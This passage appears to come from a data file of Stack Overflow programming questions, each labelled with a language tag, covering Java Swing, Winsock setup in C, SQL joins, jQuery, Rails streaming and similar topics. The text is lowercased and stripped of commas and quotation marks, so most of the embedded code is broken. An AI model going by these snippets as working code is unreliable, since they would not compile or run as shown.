java.awt.geom.*;  public class infout extends jpanel implements actionlistener  keylistener {      timer t = new timer(5  this);     double x = 0  y = 0  velx = 0  vely = 0;      public infout(){         t.start();         addkeylistener(this);         setfocusable(true);         setfocustraversalkeysenabled(false);      }      public void paintcomponent(graphics g) {         super.paintcomponent(g);         graphics2d g2 = (graphics2d) g;         g2.fill(new ellipse2d.double(x  y  40  40));     }      public void actionperformed(actionevent e) {          repaint();         x += velx;         y += vely;          if (x &lt; 0 || x &gt; 260)         {             velx = 0;             vely = 0;         }         if (y &lt; 0 || y &gt; 340)         {             velx = 0;             vely = 0;         }     }      public void up() {         vely = -1.5;         velx = 0;     }      public void down() {         vely = 1.5;         velx = 0;     }      public void left() {         velx = -1.5;         vely = 0;     }      public void right() {         velx = 1.5;         vely = 0;     }      public void keypressed(keyevent e) {         int code = e.getkeycode();         if (code == keyevent.vk_up) {             up();         }         if (code == keyevent.vk_down) {             down();         }         if (code == keyevent.vk_right) {             right();         }         if (code == keyevent.vk_left) {             left();         }     }      public void keytyped(keyevent e) {}     public void keyreleased(keyevent e) {} } </code></pre>   <strong>obj2.class</strong>   <pre><code>    import java.awt.graphics;     import java.awt.graphics2d;     import java.awt.geom.ellipse2d;     import javax.swing.jpanel;       public class obj2 extends jpanel{  int x; int y;  public obj2(){  }  public void paintcomponent(graphics g) {     super.paintcomponent(g);     graphics2d g2 = (graphics2d) g;     g2.fill(new ellipse2d.double(10  20  40  40)); }      } </code></pre>,java
c compile error when involving minwindef.h  i am trying to use sockets with c on windows. i am using the tcc compiler. i was told to run this code to initialize winsock:   <pre><code>#include&lt;stdio.h&gt; #include&lt;winsock2.h&gt;  #pragma comment(lib  ws2_32.lib ) //winsock library  int main(int argc   char *argv[])     {     wsadata wsa;      printf( \ninitialising winsock... );     if (wsastartup(makeword(2 2) &amp;wsa) != 0)     {         printf( failed. error code : %d  wsagetlasterror());         return 1;     }     printf( initialised. );     return 0; </code></pre>   }    i get this error:   <pre><code>in file included from winsock-init.c:2: in file included from g:/tcc/include/winsock2.h:23: in file included from g:/tcc/include/windows.h:69: in file included from g:/tcc/include/windef.h:8: g:/tcc/include/minwindef.h:24:  ;  expected </code></pre>   and here is what <code>minwindef.h</code> looks like (line 24  flagged in the error message  has a very easy to see comment):   <pre><code>#ifndef _minwindef_ #define _minwindef_  #include &lt;_mingw.h&gt; #include &lt;winapifamily.h&gt; #include &lt;specstrings.h&gt;  #if winapi_family_partition (winapi_partition_app)  #if !defined (strict) &amp;&amp; !defined (no_strict) #define strict 1 #endif  #ifndef win32 #define win32 #endif  #ifdef __cplusplus extern  c  { #endif  #ifndef basetypes #define basetypes   typedef unsigned __long32 ulong; // ---over here!!!--- broken code here!   typedef ulong *pulong;   typedef unsigned short ushort;   typedef ushort *pushort;   typedef unsigned char uchar;   typedef uchar *puchar;   typedef char *psz; #endif  #define max_path 260  #ifndef null #ifdef __cplusplus #ifndef _win64 #define null 0 #else #define null 0ll #endif #else #define null ((void *)0) #endif #endif  #ifndef false #define false 0 #endif  #ifndef true #define true 1 #endif  #ifndef _no_w32_pseudo_modifiers #ifndef in #define in #endif  #ifndef out #define out #endif  #ifndef optional #define optional #endif #endif /* _no_w32_pseudo_modifiers */  #undef far #undef near #undef pascal  #define far #define near #define pascal __stdcall  #define cdecl #ifndef cdecl #define cdecl #endif  #ifndef callback #define callback __stdcall #endif  #ifndef winapi #define winapi __stdcall #endif  #define winapiv __cdecl #define apientry winapi #define apiprivate __stdcall #define pascal __stdcall  #ifndef winapi_inline #define winapi_inline winapi #endif  #undef far #undef near #define far #define near  #ifndef const #define const const #endif  #ifndef _def_winbool_ #define _def_winbool_ typedef int winbool; #pragma push_macro( bool ) #undef bool #if !defined(__objc__) &amp;&amp; !defined(__objc_bool) &amp;&amp; !defined(__objc_include_gnu) &amp;&amp; !defined(_no_bool_typedef)   typedef int bool; #endif #define bool winbool typedef bool *pbool; typedef bool *lpbool; #pragma pop_macro( bool ) #endif /* _def_winbool_ */    typedef unsigned char byte;   typedef unsigned short word;   typedef unsigned __long32 dword;   typedef float float;   typedef float *pfloat;   typedef byte *pbyte;   typedef byte *lpbyte;   typedef int *pint;   typedef int *lpint;   typedef word *pword;   typedef word *lpword;   typedef __long32 *lplong;   typedef dword *pdword;   typedef dword *lpdword;   typedef void *lpvoid; #ifndef _lpcvoid_defined #define _lpcvoid_defined   typedef const void *lpcvoid; #endif   typedef int int;   typedef unsigned int uint;   typedef unsigned int *puint;  #ifndef nt_included #include &lt;winnt.h&gt; #endif    typedef uint_ptr wparam;   typedef long_ptr lparam;   typedef long_ptr lresult;  #ifndef __cplusplus #ifndef nominmax #ifndef max #define max(a  b) (((a) &gt; (b))   (a) : (b)) #endif  #ifndef min #define min(a  b) (((a) &lt; (b))   (a) : (b)) #endif #endif #endif  #define makeword(a b) ((word) (((byte) (((dword_ptr) (a)) &amp; 0xff)) | ((word) ((byte) (((dword_ptr) (b)) &amp; 0xff))) &lt;&lt; 8)) #define makelong(a  b) ((long) (((word) (((dword_ptr) (a)) &amp; 0xffff)) | ((dword) ((word) (((dword_ptr) (b)) &amp; 0xffff))) &lt;&lt; 16)) #define loword(l) ((word) (((dword_ptr) (l)) &amp; 0xffff)) #define hiword(l) ((word) ((((dword_ptr) (l)) &gt;&gt; 16) &amp; 0xffff)) #define lobyte(w) ((byte) (((dword_ptr) (w)) &amp; 0xff)) #define hibyte(w) ((byte) ((((dword_ptr) (w)) &gt;&gt; 8) &amp; 0xff))    typedef handle *sphandle;   typedef handle *lphandle;   typedef handle hglobal;   typedef handle hlocal;   typedef handle globalhandle;   typedef handle localhandle; #ifdef _win64   typedef int_ptr (winapi *farproc) ();   typedef int_ptr (winapi *nearproc) ();   typedef int_ptr (winapi *proc) (); #else   typedef int (winapi *farproc) ();   typedef int (winapi *nearproc) ();   typedef int (winapi *proc) (); #endif    typedef word atom;    typedef int hfile;   declare_handle (hinstance);   declare_handle (hkey);   typedef hkey *phkey;   declare_handle (hkl);   declare_handle (hlsurf);   declare_handle (hmetafile);   typedef hinstance hmodule;   declare_handle (hrgn);   declare_handle (hrsrc);   declare_handle (hsprite);   declare_handle (hstr);   declare_handle (htask);   declare_handle (hwinsta);    typedef struct _filetime {     dword dwlowdatetime;     dword dwhighdatetime;   } filetime *pfiletime *lpfiletime; #define _filetime_  #ifdef __cplusplus } #endif  #endif #endif </code></pre>   do you know what i should do with the line 24    <h2>edit 1</h2>   i am using the tcc compiler. the define seemed to work  but i have the same problem:   <pre><code>in file included from winsock-init.c:3: in file included from g:/tcc/include/winsock2.h:23: in file included from g:/tcc/include/windows.h:69: in file included from g:/tcc/include/windef.h:8: in file included from g:/tcc/include/minwindef.h:146: in file included from g:/tcc/include/winnt.h:134: g:/tcc/include/basetsd.h:32:  ;  expected </code></pre>   and here s the .h file:   <pre><code>/**  * this file is part of the mingw-w64 runtime package.  * no warranty is given; refer to the file disclaimer within this package.  */ #include &lt;_mingw.h&gt;  #ifndef _basetsd_h_ #define _basetsd_h_  #if (defined (__x86_64__) || defined (__ia64__)) &amp;&amp; !(defined (__widl__) || defined (rc_invoked)) __mingw_extension typedef unsigned __int64 pointer_64_int; #else typedef unsigned long pointer_64_int; #endif  #define pointer_32 #define pointer_64 #define firmware_ptr  #define pointer_signed #define pointer_unsigned #define spointer_32 pointer_signed pointer_32 #define upointer_32 pointer_unsigned pointer_32  #ifdef __cplusplus extern  c  { #endif    typedef signed char int8 *pint8;   typedef signed short int16 *pint16;   typedef signed int int32 *pint32;   __mingw_extension typedef signed __int64 int64 *pint64;   typedef unsigned char uint8 *puint8;   typedef unsigned short uint16 *puint16;   typedef unsigned int uint32 *puint32;   __mingw_extension typedef unsigned __int64 uint64 *puint64;   typedef signed int long32 *plong32;   typedef unsigned int ulong32 *pulong32;   typedef unsigned int dword32 *pdword32;  #ifndef _w64 #define _w64 #endif  #ifdef _win64   __mingw_extension typedef __int64 int_ptr *pint_ptr;   __mingw_extension typedef unsigned __int64 uint_ptr *puint_ptr;   __mingw_extension typedef __int64 long_ptr *plong_ptr;   __mingw_extension typedef unsigned __int64 ulong_ptr *pulong_ptr; #define __int3264 __int64 #else   typedef int int_ptr *pint_ptr;   typedef unsigned int uint_ptr *puint_ptr;   typedef long long_ptr *plong_ptr;   typedef unsigned long ulong_ptr *pulong_ptr; #define __int3264 int #endif  #ifdef _win64 #define address_tag_bit 0x40000000000ull    __mingw_extension typedef __int64 shandle_ptr;   __mingw_extension typedef unsigned __int64 handle_ptr;   typedef unsigned int uhalf_ptr *puhalf_ptr;   typedef int half_ptr *phalf_ptr;  #ifndef __widl__   static __inline unsigned __long32 handletoulong (const void *h) { return ((unsigned __long32) (ulong_ptr) h); }   static __inline __long32 handletolong (const void *h) { return ((__long32) (long_ptr) h); }   static __inline void *ulongtohandle (const unsigned __long32 h) { return ((void *) (uint_ptr) h); }   static __inline void *longtohandle (const __long32 h) { return ((void *) (int_ptr) h); }   static __inline unsigned __long32 ptrtoulong (const void *p) { return ((unsigned __long32) (ulong_ptr) p); }   static __inline unsigned int ptrtouint (const void *p) { return ((unsigned int) (uint_ptr) p); }   static __inline unsigned short ptrtoushort (const void *p) { return ((unsigned short) (unsigned __long32) (ulong_ptr) p); }   static __inline __long32 ptrtolong (const void *p) { return ((__long32) (long_ptr) p); }   static __inline int ptrtoint (const void *p) { return ((int) (int_ptr) p); }   static __inline short ptrtoshort (const void *p) { return ((short) (__long32) (long_ptr) p); }   static __inline void *inttoptr (const int i) { return ((void *) (int_ptr)i); }   static __inline void *uinttoptr (const unsigned int ui) { return ((void *) (uint_ptr)ui); }   static __inline void *longtoptr (const __long32 l) { return ((void *) (long_ptr)l); }   static __inline void *ulongtoptr (const unsigned __long32 ul) { return ((void *) (ulong_ptr)ul); }  #define ptrtoptr64(p) ((void *pointer_64) p) #define ptr64toptr(p) ((void *) p) #define handletohandle64(h) (ptrtoptr64 (h)) #define handle64tohandle(h) (ptr64toptr (h))    static __inline void *ptr32toptr (const void *pointer_32 p) { return ((void *) (ulong_ptr) (unsigned __long32) (ulong_ptr) p); }   static __inline void *handle32tohandle (const void *pointer_32 h) { return ((void *) (long_ptr) (__long32) (ulong_ptr) h); }   static __inline void *pointer_32 ptrtoptr32 (const void *p) { return ((void *pointer_32) (ulong_ptr) (unsigned __long32) (ulong_ptr) p); }  #define handletohandle32(h) (ptrtoptr32 (h)) #endif #else #define address_tag_bit __msabi_long (0x80000000u)    typedef unsigned short uhalf_ptr *puhalf_ptr;   typedef short half_ptr *phalf_ptr;   typedef __long32 shandle_ptr;   typedef unsigned __long32 handle_ptr;  #define handletoulong(h) ((ulong) (ulong_ptr) (h)) #define handletolong(h) ((long) (long_ptr) (h)) #define ulongtohandle(ul) ((handle) (ulong_ptr) (ul)) #define longtohandle(h) ((handle) (long_ptr) (h)) #define ptrtoulong(p) ((ulong) (ulong_ptr) (p)) #define ptrtolong(p) ((long) (long_ptr) (p)) #define ptrtouint(p) ((uint) (uint_ptr) (p)) #define ptrtoint(p) ((int) (int_ptr) (p)) #define ptrtoushort(p) ((unsigned short) (ulong_ptr) (p)) #define ptrtoshort(p) ((short) (long_ptr) (p)) #define inttoptr(i) ((void *) (int_ptr) ((int)i)) #define uinttoptr(ui) ((void *) (uint_ptr) ((unsigned int)ui)) #define longtoptr(l) ((void *) (long_ptr) ((__long32) l)) #define ulongtoptr(ul) ((void *) (ulong_ptr) ((unsigned __long32) ul))  #ifndef __widl__   static __inline void *pointer_64 ptrtoptr64 (const void *p) { return ((void *pointer_64) (ulong_ptr) p); }   static __inline void *ptr64toptr (const void *pointer_64 p) { return ((void *) (ulong_ptr) p); }   static __inline void *pointer_64 handletohandle64 (const void *h) { return ((void *pointer_64) (long_ptr) h); }   static __inline void *handle64tohandle (const void *pointer_64 h) { return ((void *) (ulong_ptr) h); } #endif  #define ptr32toptr(p) ((void *) p) #define handle32tohandle(h) (ptr32toptr (h)) #define ptrtoptr32(p) ((void *pointer_32) p) #define handletohandle32(h) (ptrtoptr32 (h)) #endif  #define handletoulong(h) handletoulong (h) #define ulongtohandle(ul) ulongtohandle (ul) #define ulongtoptr(ul) ulongtoptr (ul) #define uinttoptr(ui) uinttoptr (ui)  #define maxuint_ptr (~ ((uint_ptr)0)) #define maxint_ptr ((int_ptr) (maxuint_ptr &gt;&gt; 1)) #define minint_ptr (~maxint_ptr)  #define maxulong_ptr (~ ((ulong_ptr)0)) #define maxlong_ptr ((long_ptr) (maxulong_ptr &gt;&gt; 1)) #define minlong_ptr (~maxlong_ptr)  #define maxuhalf_ptr ((uhalf_ptr)~0) #define maxhalf_ptr ((half_ptr) (maxuhalf_ptr &gt;&gt; 1)) #define minhalf_ptr (~maxhalf_ptr)    __mingw_extension typedef ulong_ptr size_t *psize_t;   __mingw_extension typedef long_ptr ssize_t *pssize_t;  #if _win32_winnt &gt;= 0x0600 || (defined (__cplusplus) &amp;&amp; defined (windows_enable_cplusplus))  #define maxuint8 ((uint8)~ ((uint8)0)) #define maxint8 ((int8) (maxuint8 &gt;&gt; 1)) #define minint8 ((int8)~maxint8)  #define maxuint16 ((uint16)~ ((uint16)0)) #define maxint16 ((int16) (maxuint16 &gt;&gt; 1)) #define minint16 ((int16)~maxint16)  #define maxuint32 ((uint32)~ ((uint32)0)) #define maxint32 ((int32) (maxuint32 &gt;&gt; 1)) #define minint32 ((int32)~maxint32)  #define maxuint64 ((uint64)~ ((uint64)0)) #define maxint64 ((int64) (maxuint64 &gt;&gt; 1)) #define minint64 ((int64)~maxint64)  #define maxulong32 ((ulong32)~ ((ulong32)0)) #define maxlong32 ((long32) (maxulong32 &gt;&gt; 1)) #define minlong32 ((long32)~maxlong32)  #define maxulong64 ((ulong64)~ ((ulong64)0)) #define maxlong64 ((long64) (maxulong64 &gt;&gt; 1)) #define minlong64 ((long64)~maxlong64)  #define maxulonglong ((ulonglong)~ ((ulonglong)0)) #define minlonglong ((longlong)~maxlonglong)  #define maxsize_t ((size_t)~ ((size_t)0)) #define maxssize_t ((ssize_t) (maxsize_t &gt;&gt; 1)) #define minssize_t ((ssize_t)~maxssize_t)  #define maxuint ((uint)~ ((uint)0)) #define maxint ((int) (maxuint &gt;&gt; 1)) #define minint ((int)~maxint)  #define maxdword32 ((dword32)~ ((dword32)0)) #define maxdword64 ((dword64)~ ((dword64)0)) #endif    __mingw_extension typedef ulong_ptr dword_ptr *pdword_ptr;   __mingw_extension typedef __int64 long64 *plong64;   __mingw_extension typedef unsigned __int64 ulong64 *pulong64;   __mingw_extension typedef unsigned __int64 dword64 *pdword64;   __mingw_extension typedef ulong_ptr kaffinity;   __mingw_extension typedef kaffinity *pkaffinity;  #ifdef __cplusplus } #endif #endif </code></pre>,c
how to determine if a char has white space   lets say we have <code>char *str =  123 467 ;</code> is there something like isdigit() for numbers to return a boolean value,c
autocomplete with datalist  so i have a datalist which contains a list of all the people available like this:   <pre><code>&lt;datalist id= available &gt;      &lt;option value= 1 &gt;name&lt;/option&gt;      &lt;option value= 2 &gt;ginger&lt;/option&gt; &lt;/datalist&gt; </code></pre>   the issue is when i have the input setup like this:   <pre><code>&lt;input name= persontobechosen  type= text  list= available  placeholder= bob &gt; </code></pre>   it autocompletes by value  i need value to be sent to the server but the user to start typing what s inbetween the tags.,html
json framework does not work on ios 4  is anybody able to use json framework on iphone sdk 4 it is working fine on sdk 3.1.2 but not on iphone sdk 4.,iphone
what s the reason of duplicate unique index in mysql  i got the task of adapt a very old mysql database to use its data on another program and i found some very large tables (thousands of rows) with this kind of structure:   <pre><code>create table `foo` (     `id` int(11) not null auto_increment      `name` varchar(200) not null      primary key (`id`)      unique key `foo_name_idx` (`name`)      unique key `name` (`name`) ) engine=innodb default charset=utf8 </code></pre>   what s the reason of these apparently duplicate unique index  perfomance  automated table creation error,mysql
how to send data to another computer via php   i was wondering whether there is a way to send data from <code>index.php</code> opened on one computer to <code>index.php</code> opened on another one. i don t have an idea how to do it.,php
write programs that read a line of input as a string and print every second letter of the string in python  write programs that read a line of input as a string and print every second letter of the string in python       so far i have written:   <pre><code>string=input( enter string:  )  for char in range(0 len(string) 2):      print(len(char)) </code></pre>   if i input a string: <code>qwerty</code><br> it should print  <code>qet</code>,python
converting to storyboards   rootviewcontroller problems  this is the error i m getting:  application windows are expected to have a root view controller at the end of application launch     from what i ve read i need to pass the delegate to the view controller using rootviewcontroller but obviously i did something wrong.    i added a new storyboard to my project and changed it to main in the summery.  this is my appdelegate.m:   <pre><code>#import  appdelegate.h   @implementation appdelegate  @synthesize window = _window;  - (void)dealloc {     [_window release];     [super dealloc]; }  - (bool)application:(uiapplication *)application didfinishlaunchingwithoptions:(nsdictionary *)launchoptions {      self.window = [[[uiwindow alloc] initwithframe:[[uiscreen mainscreen] bounds]] autorelease];     self.window.backgroundcolor = [uicolor whitecolor];      menu.delegate = self;     [self.window addsubview:menu];     [menu release];      [self.window makekeyandvisible];     return yes; } @end </code></pre>,objective-c
is this possible <img src=   src2=   src3=  />   i m very new to html  css  java  code in general  and i was trying to figure out how to add more than one image within one single line of code.     i m trying to create a really simple click-through image gallery with no flare or crazy tricks     any help would be much appreciated.,html
conversion failed varchar to data type int  i m new at <code>sql</code> and i cant find out what im doing wrong  my query looks logic but it doesn t convert my <code>int_value</code> to <code>varchar_value</code>. i dont want to use <code>alter</code> cause its needs to stay a int value and i want to give a name on  int values.   <pre><code>-- begin  select cast(case when column_name = int_value then  varchar_value  else column_name end)as varchar(15)) from table_name   -- end </code></pre>   i did try with <code>convert</code> aswell but i got the same error  please explain why i get this error cause it looks very logical for me. thanks advanced.,sql
javascript getelementsbyname.value not working  i am trying to make a simple javascript program bit it isn t working. kindly help. in eclipse i have created a dynamic web project and in dd my welcome file is index.jsp. given below is my code for index.jsp   <pre><code>&lt;!doctype html&gt; &lt;html&gt; &lt;head&gt; &lt;meta charset= iso-8859-1 &gt; &lt;title&gt;duncan s&lt;/title&gt; &lt;script type= text/javascript &gt; function namesubmit() {     alert(document.getelementsbyname( username ).value); } function cakenumber() {     alert(document.getelementsbyname( numofcake ).value); } &lt;/script&gt; &lt;/head&gt; &lt;body&gt; &lt;form action= myservlet.do &gt;     &lt;table&gt;         &lt;tr&gt;               &lt;td&gt;name:&lt;/td&gt;               &lt;td&gt;&lt;input type= text  id= name  name= username  size= 10                  onchange= namesubmit(); &gt;&lt;/td&gt;         &lt;/tr&gt;         &lt;tr&gt;               &lt;td&gt;number of duncan s cake:&lt;/td&gt;               &lt;td&gt;&lt;input type= text  id= numofduncake  name= numofcake                  size= 5  onchange= cakenumber(); &gt;&lt;/td&gt;         &lt;/tr&gt;     &lt;/table&gt; &lt;/form&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   in the above code both the functions are returning undefined.....!!how can i get the real value,javascript
multiple charts in a single frame using html  i have 4 graphs.how can i put more than a three graphs in a single frame set in html  i m getting graph <a href= https://i.stack.imgur.com/xwvg1.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/xwvg1.png  alt= enter image description here ></a>    but want it like as     <a href= https://i.stack.imgur.com/gbjo5.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/gbjo5.png  alt= enter image description here ></a>   <pre><code>&lt;html&gt; &lt;body bgcolor= #99ccff &gt;   &lt;div class= placeholder &gt;&lt;/div&gt; &lt;div class= placeholder  &gt;&lt;/div&gt; &lt;div class= placeholder &gt;&lt;/div&gt; &lt;div class= placeholder &gt;&lt;/div&gt;  &lt;/body&gt;&lt;/html&gt; </code></pre>,html
testing android apps  what exactly are mock tests...i need to know the mock and performance tests available in android for testing android apps..what is the best tool for testing android apps and how..,android
i keep getting params is empty or missing error  i am getting this error when i try and view the ingredients for a recipe  but i had it working on friday. it says that the parameter is missing in my create action for ingredients. i know what the error is saying  but why would it suddenly do this if it was working  here is the code:    ingredients controller   <pre><code>   class ingredientscontroller &lt; applicationcontroller      before_action :authenticate_user!      before_action :set_recipe      before_action :set_ingredient  only: [:show  :edit  :update  :destroy]       def index          @ingredients = @recipe.ingredients.alphabetical      end      def show        #  @ingredient = @recipe.ingredients        #  @recipes = @recipe.imngredients.where( user  =    current_user.id == @recipe.user_id)     end      def new       @ingredient = @recipe.ingredients.new     end      def create       @ingredient = @recipe.ingredients.create(ingredients_params)        if @ingredient.save         redirect_to recipe_ingredients_path(@recipe  @ingredients)        else         render :new        end     end      def destroy        @ingredient = ingredient.find(params[:id])        @ingredient.delete        redirect_to recipe_ingredients_path(@recipe  @ingredients)     end       private     def ingredients_params       params.require(:ingredient).permit(:name  :recipe_id)     end      def set_recipe       @recipe = recipe.find(params[:recipe_id])     end      def set_ingredient       @ingredient = ingredient.find(params[:id])     end   end </code></pre>   not sure if this has anything to do with it  but i left my server running all weekend while not using my laptop and today my code is having significant issues and not working as it did on friday,ruby-on-rails
open jpg in morzila firefox using jsp link dynamicaly generated for image  how to open jpeg in jsp file using mozila firefox  it works in ie but can t run in firefox by passing it s <code>scr</code> tag dynamicaly    it will say <code>e:\stxavier\docs\7.jpg</code>   <pre><code>e not protocol error </code></pre>   and without generate dynamic content it will see path like   <pre><code>e|\stxavier\docs\7.jpg  </code></pre>   so i can t understand that meaning i also use this thing but my other link to pdf or avi file is lost,html
sql query unknown column  this is my sql query:   <pre><code>select distinct     k.*  m.title as city  w.title as state  from     konta__kategoria kat  konta k  inner join     miejscowosci as m on k.miejscowosc = m.id  inner join     wojewodztwa as w on k.wojewodztwo = w.id  left join     kategorie as cat on cat.id = kat.kategoria  where     kat.kategoria in (1610 1609 1608 1607 1606 1605 1611 1612 1613 1614 1615 1616 1617 1618 1619 1620 1621 1622 1623 1624 1625 1626 1627 1628 1629 1630 1631 1632 1633 1634 1635 1636 1637 1638 1639 1640 1641 1642 1643 1644 1645 1646 1647 1648 1649 1650 1651 1652 1653 1654 1655 1656 1657 1658 1659 1660 1661 1662 1663 1664 1665 1666 1667 1668 1669 1670 1671 1672 1673 6)     and kat.parent_id = k.id     and k.dsc like  %%      and deleted = 0  order by     k.nazwa </code></pre>   i m getting error:   <pre><code>#1054 - unknown column  kat.kategoria  in  on clause  </code></pre>   it s working when i remove   <pre><code>left join kategorie as cat on cat.id = kat.kategoria </code></pre>   but i know that <code>kat.kategoria</code> exist (it s working in where)  also there exist table cat.id  so what is the problem,sql
3d transition between two pictures  i hope to make 3d transition between two pictures just like the slideshow 3d transition in app  photos .    for 2d transition  i can use catransition. is there any 3d api for this     welcome any comment,iphone
how to use url re-write with query string  i am trying to create a url re-write with a query string but my problem is the url re-write does not work when i try to use the query string.  the url re-write works fine when i use it without the query sting.  i have searched online and did exactly what they said but i was still getting an error.  so let me show you what works first which is without the query-string:    this is what i have in the global.asax file:   <pre><code>protected void application_start(object sender  eventargs e)      {         // code that runs on application startup        registerroutes(routetable.routes);      }      public static void registerroutes(routecollection routecollection)     {         routecollection.mappageroute( routeforcustomer    mytest    ~/users/myoldpage.aspx );     } </code></pre>   everything works fine if i run the code above.  so i have tried now to pass query-string in the url and this what i have done that does not work so far:   <pre><code>protected void application_start(object sender  eventargs e)      {         // code that runs on application startup        registerroutes(routetable.routes);      }      public static void registerroutes(routecollection routecollection)     {         routecollection.mappageroute( routeforcustomer    mytest/{my_id}    ~/users/myoldpage.aspx );     } </code></pre>   and the code behind for myoldpage.aspx i have this code but not sure if it is even necessary but this is what i saw online when i was researching:   <pre><code>protected void page_load(object sender  eventargs e)     {         string myquerystring = page.routedata.values[ my_id ] as string; </code></pre>,asp.net
css how to change page content depending on page size (zoom) in responsive design  i m pretty familiar with responsive design and how to give the elements relative width .. my question is  how the page turns from <a href= http://i.stack.imgur.com/vs6qo.png  rel= nofollow >this</a>to <a href= http://i.stack.imgur.com/vurlr.png  rel= nofollow >that</a> thanks in advance,css
building a project with msbuild which has only class files without a main method  i have a project which contains only .vb files. it doesn t include a suitable main() method to detect the entry point  can anyone suggest how to write the script for this project,asp.net
sql language sql query  not really sure whether my sql language is correct but anyway  given that there are 3 entities as seen below   <pre><code>customer(name  passport  nationality  age) menu(type  item  price) breakfast(passport date  item) </code></pre>   why does the following sql query may not correctly find the average age of the customers who ordered fried rice for breakfast    <pre><code>select avg(c.age) from customer c  breakfast b where c.passport=b.passport and b.item= fried rice ; </code></pre>   should this be the correct answer then   <pre><code>select avg(c.age) from customer c where c.passport exists in( select distinct b.passport from breakfast b where b.item= fried rice ); </code></pre>,sql
sql query with lowest id  given the linked data: <a href= https://trello-attachments.s3.amazonaws.com/517801da81f816b57c002f8b/57ed5c867d292ad0f7d8d17f/2c437842c6122904dcc1e5600a1ccb52/tags.csv  rel= nofollow noreferrer >https://trello-attachments.s3.amazonaws.com/517801da81f816b57c002f8b/57ed5c867d292ad0f7d8d17f/2c437842c6122904dcc1e5600a1ccb52/tags.csv</a>    how would i query the name of the tag with the lowest id that has a post count equal to the median post count,sql
make onclick function that will switch textarea place  i have the following code:   <blockquote> <pre><code>      var counter=0;       function appendtext(){           var text = $( #text ).val(); if ($( #text ).val()){       </code></pre> </blockquote>  <pre><code>var textarea =  &lt;div&gt; &lt;textarea id= t +counter+  &gt; +text+      &lt;/textarea&gt;&lt;button id= b +counter+   name= t +counter+   &gt;edit&lt;/button&gt; &lt;button onclick= moveup(); &gt;up&lt;/button&gt;&lt;/div&gt; ;        $( #addedtext ).after(textarea);         $( #t +counter).attr( readonly   readonly );         $( #t +counter).attr( readonly   readonly );      $( #t +counter).css( width   500px ); $( #t +counter).css( resize   none ); $( #t +counter).css( background-color   #5ccccc );  $( #t +counter).css( font-weight   bold );               $( #b +counter).bind( click  makeareaeditable);                   counter++;  }   else{   }            };                                                                     var makeareaeditable = function() {  var target = event.target||event.srcelement||event.originaltarget;       var targetarea =$( # +target.name);      targetarea.removeattr( readonly );       var button =  $( # +target.id);      button.text( ok );       button.unbind( click );  button.bind( click  saveedit); };    var saveedit =  function() {     var target = event.target || event.srcelement || event.originaltarget;       var button =  $( # +target.id);      button.text( edit );     button.unbind( click );   button.bind( click  makeareaeditable);       var targetarea = $( # +target.name);     targetarea.attr( readonly    readonly ); }; </code></pre>   i can t figure out how can i make the moveup() function so that it would move textarea up one space. the textarea that is before should switch places with the one that you pushed the up button.    the html looks like this:    <pre><code> &lt;textarea id= text  placeholder= baga text aici &gt;&lt;/textarea&gt; &lt;button  id= addtext  onclick= appendtext()  &gt;add text &lt;/button&gt;        &lt;div  id= addedtext  style= float:left &gt;&lt;/div&gt; </code></pre>,jquery
transforming a string to lowercase in a new string  converting a string can be done with   <pre><code>std::transform(s.begin()  s.end()  s.begin()  ::toupper); </code></pre>   but what s the best way to transform it into a new modified copy      tried :    <pre><code>string s1= text  s2; std::transform(s1.begin()  s1.end()  s2.begin()  ::toupper); </code></pre>   but it fails at runtime with  segmentation fault     i managed to do it by  :   <pre><code>string s1= text  s2; s2 = s1; std::transform(s2.begin()  s2.end()  s2.begin()  ::toupper); </code></pre>   and of course you can create a function to go char by char  but i don t think that s optimal  and i m not learning anything from this...,c++
sending a pointer to a pointer by reference  i have been trying to send a pointer to a pointer (we can call it an array of strings  or an array of an array of chars even) to a function  by reference  because i need it to be updated. i don t want to have the function returning the pointer to a pointer (that one i got working) because i want the return to be the size of the array.    this is a working function i created for testing purposes  which returns the pointer to a pointer  and the calling method:   <pre><code>#include &lt;stdio.h&gt;  char **populate_items() {         char **items;         int i;         items = (char **) malloc(sizeof(char*) * 3);         for (i=0; i&lt;3; i++)                 *(items+i) = (char *) malloc(sizeof(char) * 10);         items[0] =  1234567890 ;         items[1] =  2345678901 ;         items[2] =  3456789012 ;         return items; }  int main(int argv  char *argc) {         char **items;         int i;         items = populate_items();         for(i=0; i&lt;3; i++)                 printf( %s\n   items[i]);         return 0; } </code></pre>   this is what i think the function and the call to the function that gets the pointer to a pointer as reference should look like  but i get a segmentation fault when trying to print items[1] or items[2]   <pre><code>#include &lt;stdio.h&gt;  populate_items(char ***items) {         int i;         *items = (char **) malloc(sizeof(char*) * 3);         for (i=0; i&lt;3; i++)                 *(items+i) = (char *) malloc(sizeof(char) * 10);         *items[0] =  1234567890 ;         *items[1] =  2345678901 ;         *items[2] =  3456789012 ; }  int main(int argv  char *argc) {         char **items;         int i;         populate_items(&amp;items);         for(i=0; i&lt;3; i++)                 printf( %s\n   items[i]);         return 0; } </code></pre>   in the abstraction that i created in my head  the function should be fine  but off course it s not given that i m getting a segmentation fault. i already managed to understand how a pointer to a pointer works just fine  but i think i m having trouble putting my head over how the pointer to a pointer to a pointer concept translates into code.    so what am i missing,c
mysql search month varchar field  i have departure data table:   <pre><code>dep_date 10/01/2018 21/02/2018 14/03/2018 25/04/2018 </code></pre>   where <code>dep_date</code> field is varchar<br> how do i search for month=3 in <code>dep_date</code>,mysql
angularjs drag directive that works with jquery mobile(in mobiles)  i am new in angularjs and i want a directive in such a way that when i drag a border of element it get bigger or smaller and i want it to work in mobile two thank you very much in advance,angularjs
ruby on rails  stream single console output to multiple clients  i have been working with actioncontroller::live and streaming linux console applications to my webclient.    i m trying to build my own wifi router interface to display things like wifi signal  download speeds and some authentication with wpa_supplicant    i m using the basic example you would find in the documentation for the actioncontroller::live and a little bit of jquery to update a div on the client side.    from my controller i can do something like this to simulate a wifi signal stregth progressbar.   <pre><code>loop do    response.stream.write(file.read( /proc/net/wireless )) end </code></pre>   with a little math can easily display a live stream of wifi strength in the form of a progress bar...    so  there is not much of a issue here until i run a system command.    <pre><code>stream.write(`ping googledotcom`.each_line{|line| p line+ &lt;br&gt; ) } </code></pre>   if multiple web clients view this stream  the controller would start multiple processes...    2 issues i hope to discuss options or solutions... how could i start a application like <code>ping google</code> and have multiple webclients view the same stream. also how can i do this by only starting one instance of the <code>ping google</code>    your comments are much appreciated.,ruby-on-rails
